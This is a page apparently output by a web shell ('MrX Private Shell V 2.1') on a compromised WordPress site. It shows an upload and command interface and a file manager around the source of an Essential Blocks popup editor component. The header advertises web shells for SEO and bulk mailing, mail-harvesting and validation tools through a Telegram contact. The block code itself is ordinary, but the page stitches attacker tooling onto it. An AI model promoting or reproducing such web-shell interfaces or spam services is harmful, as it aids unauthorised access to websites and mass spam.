__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * WordPress dependencies
 */
import { __ } from "@wordpress/i18n";
import { memo } from "@wordpress/element";
import { InnerBlocks } from "@wordpress/block-editor";
import { select } from "@wordpress/data";
import {
    DynamicInputValueHandler,
    EBDisplayIcon,
    BlockProps,
    withBlockContext
 } from "@essential-blocks/controls";
import defaultAttributes from './attributes'
import Style from "./style";
import Inspector from "./inspector";

const Edit = (props) => {
    const {
        attributes,
        setAttributes,
        isSelected,
        clientId,
    } = props;
    const {
        resOption,
        blockId,
        blockMeta,
        classHook,
        //
        trigger,
        btnText,
        btnIcon,
        iconPosition,
        btnAlignment,
        btnType,
        triggerIcon,
        useCloseIcon,
        displayCloseIcon,
        closeBtnText,
    } = attributes;

    // you must declare this variable
    const enhancedProps = {
        ...props,
        blockPrefix: 'eb-popup',
        style: <Style {...props} />
    };

    const alignmentClass =
        "left" === btnAlignment
            ? " alignment-left"
            : "right" === btnAlignment
                ? " alignment-right"
                : " alignment-center";

    return (
        <>
            {isSelected && <Inspector {...props} />}
            <BlockProps.Edit {...enhancedProps}>
                <div className="eb-parent-wrapper">
                    <div
                        className={`${blockId} eb-popup-container`}
                        data-block-id={blockId}
                    >
                        <div
                            className={`eb-popup-btn-wrapper eb-parent-${blockId} ${classHook}`}
                        >
                            {"btn_click" === trigger && (
                                <>
                                    <div
                                        className={`eb-popup-button${alignmentClass}`}
                                    >
                                        <a className="eb-popup-button-anchor">
                                            {"button" === btnType && (
                                                <>
                                                    {btnIcon &&
                                                        "left" ===
                                                        iconPosition && (
                                                            <>
                                                                <EBDisplayIcon
                                                                    classNam={`eb-popup-button-icon eb-popup-button-icon-left`}
                                                                    icon={btnIcon}
                                                                />
                                                            </>
                                                        )}
                                                    <DynamicInputValueHandler
                                                        value={btnText}
                                                        className="eb-popup-button-text"
                                                        placeholder={__(
                                                            "Add Text..",
                                                            "essential-blocks"
                                                        )}
                                                        allowedFormats={[
                                                            "core/bold",
                                                            "core/italic",
                                                            "core/strikethrough",
                                                        ]}
                                                        onChange={(btnText) =>
                                                            setAttributes({
                                                                btnText,
                                                            })
                                                        }
                                                        readOnly={true}
                                                    />
                                                    {btnIcon &&
                                                        "right" ===
                                                        iconPosition && (
                                                            <>
                                                                <EBDisplayIcon
                                                                    classNam={`eb-popup-button-icon eb-popup-button-icon-right`}
                                                                    icon={btnIcon}
                                                                />
                                                            </>
                                                        )}
                                                </>
                                            )}
                                            {"icon" === btnType && (
                                                <>
                                                    <EBDisplayIcon classNam={`eb-popup-icon`} icon={triggerIcon} />
                                                </>
                                            )}
                                        </a>
                                    </div>
                                </>
                            )}
                        </div>
                        <div className="eb-popup-before-content">
                            <p>
                                <strong>Essential Blocks Popup:</strong> Design
                                your popup content below using blocks
                            </p>
                        </div>
                        <div className="eb-popup-content-editor">
                            {displayCloseIcon && (
                                <div className="eb-popup-close-icon">
                                    {useCloseIcon ? (
                                        <span className="dashicons dashicons-no-alt"></span>
                                    ) : (
                                        closeBtnText
                                    )}
                                </div>
                            )}
                            <InnerBlocks
                                orientation={"vertical"}
                                templateLock={false}
                                renderAppender={
                                    select("core/block-editor").getBlockOrder(
                                        clientId
                                    ).length > 0
                                        ? undefined
                                        : InnerBlocks.ButtonBlockAppender
                                }
                            />
                        </div>
                    </div>
                </div>
            </BlockProps.Edit>
        </>
    );
};

export default memo(withBlockContext(defaultAttributes)(Edit))

Filemanager

Name Type Size Permission Actions
constants Folder 0750
attributes.js File 5.44 KB 0640
deprecated.js File 34.14 KB 0640
edit.js File 7.16 KB 0640
example.js File 519 B 0640
frontend.js File 26.29 KB 0640
icon.js File 2.43 KB 0640
icon.svg File 2.35 KB 0640
index.js File 726 B 0640
inspector.js File 44.27 KB 0640
save.js File 6.39 KB 0640
style.css File 2.87 KB 0640
style.js File 14.59 KB 0640
style.scss File 3.2 KB 0640
Filemanager